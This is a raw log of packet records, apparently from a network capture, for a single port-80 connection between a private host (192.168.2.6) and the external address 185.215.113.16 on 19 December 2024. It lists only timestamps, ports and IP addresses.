Dec 19, 2024 08:46:24.303596020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.304429054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.304474115 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.304569006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.305361986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.305423975 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.305546045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.306382895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.306423903 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.306588888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.307358027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.307399988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.307568073 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.308350086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.308387995 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.308525085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.309366941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.309411049 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.309566021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.310302019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.310357094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.310480118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.311332941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.311397076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.311475039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.312263012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.312313080 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.312479019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.313278913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.313338995 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.313425064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.314270020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.314316034 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.314402103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.315221071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.315265894 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.315366983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.316205025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.316283941 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.316379070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.317233086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.317289114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.317367077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.318182945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.318228006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.318322897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.319155931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.319215059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.319344997 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.320146084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.320223093 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.320307016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.321135044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.321185112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.321325064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.322105885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.322170019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.322335005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.323137045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.323220968 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.323267937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.324071884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.324116945 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.324233055 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.324276924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.325139999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.325229883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.325234890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.326018095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.326083899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.326215029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.327018023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.327065945 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.327258110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.327997923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.328078032 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.328213930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.329019070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.329061985 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.329170942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.329984903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.330030918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.330200911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.330961943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.331018925 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.331155062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.332032919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.332091093 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.332190990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.332238913 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.332551003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.332600117 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.332689047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.333650112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.333692074 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.333806038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.334687948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.334800959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.334825039 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.335460901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.335576057 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.351713896 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.361427069 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.476207018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.476380110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.476443052 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.476753950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.477101088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.477148056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.477628946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.478024006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.478065014 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.478215933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.479254961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.479329109 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.479559898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.479960918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.480024099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.480257034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.481019974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.481081009 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.481178045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.481925011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.481966019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.482101917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.482903957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.482942104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.483098984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.483967066 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.484025002 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.484123945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.484869957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.484945059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.485064983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.485833883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.485871077 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.486082077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.486884117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.486944914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.487046003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.487812042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.487869024 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.487999916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.488811016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.488856077 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.488985062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.489763975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.489800930 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.489954948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.490755081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.490794897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.490966082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.491739035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.491811991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.491931915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.492723942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.492784023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.492908955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.493715048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.493766069 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.493889093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.494695902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.494767904 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.494851112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.495663881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.495711088 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.495857000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.496709108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.496768951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.496881962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.497633934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.497693062 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.497796059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.498610020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.498661041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.498806953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.499612093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.499655008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.499742985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.500577927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.500622988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.500745058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.501552105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.501655102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.501746893 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.502526045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.502576113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.502693892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.503623962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.503705025 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.503739119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.504506111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.504569054 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.504693985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.505491018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.505618095 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.505682945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.506444931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.506486893 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.506649971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.507441044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.507487059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.507616997 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.508462906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.508601904 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.508632898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.509390116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.509438992 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.509592056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.510422945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.510498047 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.510559082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.511414051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.511460066 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.511562109 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.511900902 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.512356043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.512459040 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.512526035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.513387918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.513432026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.513524055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.514348030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.514383078 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.514477015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.515332937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.515384912 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.515528917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.516314030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.516395092 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.516469955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.517318964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.517384052 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.517462015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.518251896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.518306971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.518419027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.519234896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.519270897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.519468069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.520183086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.520261049 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.520400047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.521245003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.521294117 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.521373987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.522166967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.522232056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.522349119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.523175955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.523332119 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.523376942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.524049044 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.524106979 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.524164915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.524308920 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.525192022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.525305986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.525338888 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.526109934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.526156902 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.526367903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.527102947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.527163029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.527209044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.556732893 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.567897081 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.668473959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.668678999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.668749094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.669022083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.669351101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.669397116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.670413017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.670818090 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.670875072 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.671119928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.671478033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.671542883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.672219038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.672882080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.672930956 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.673249960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.673284054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.673329115 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.673930883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.674297094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.674391985 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.675302029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.675657034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.675724983 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.676022053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.676449060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.676548958 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.676835060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.677076101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.677126884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.677819967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.678011894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.678076029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.678813934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.679155111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.679336071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.679733992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.680018902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.680087090 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.680800915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.680982113 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.681072950 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.681700945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.681902885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.681953907 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.682719946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.682939053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.682987928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.683702946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.683891058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.683938026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.684672117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.684848070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.684931993 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.685672045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.685866117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.685920000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.686671972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.686872005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.686927080 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.687639952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.687829018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.687871933 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.688555956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.688736916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.688802004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.689544916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.689755917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.689861059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.690551996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.690732002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:24.690874100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:24.691499949 CET	80	49764	185.215.113.16	192.168.2.6
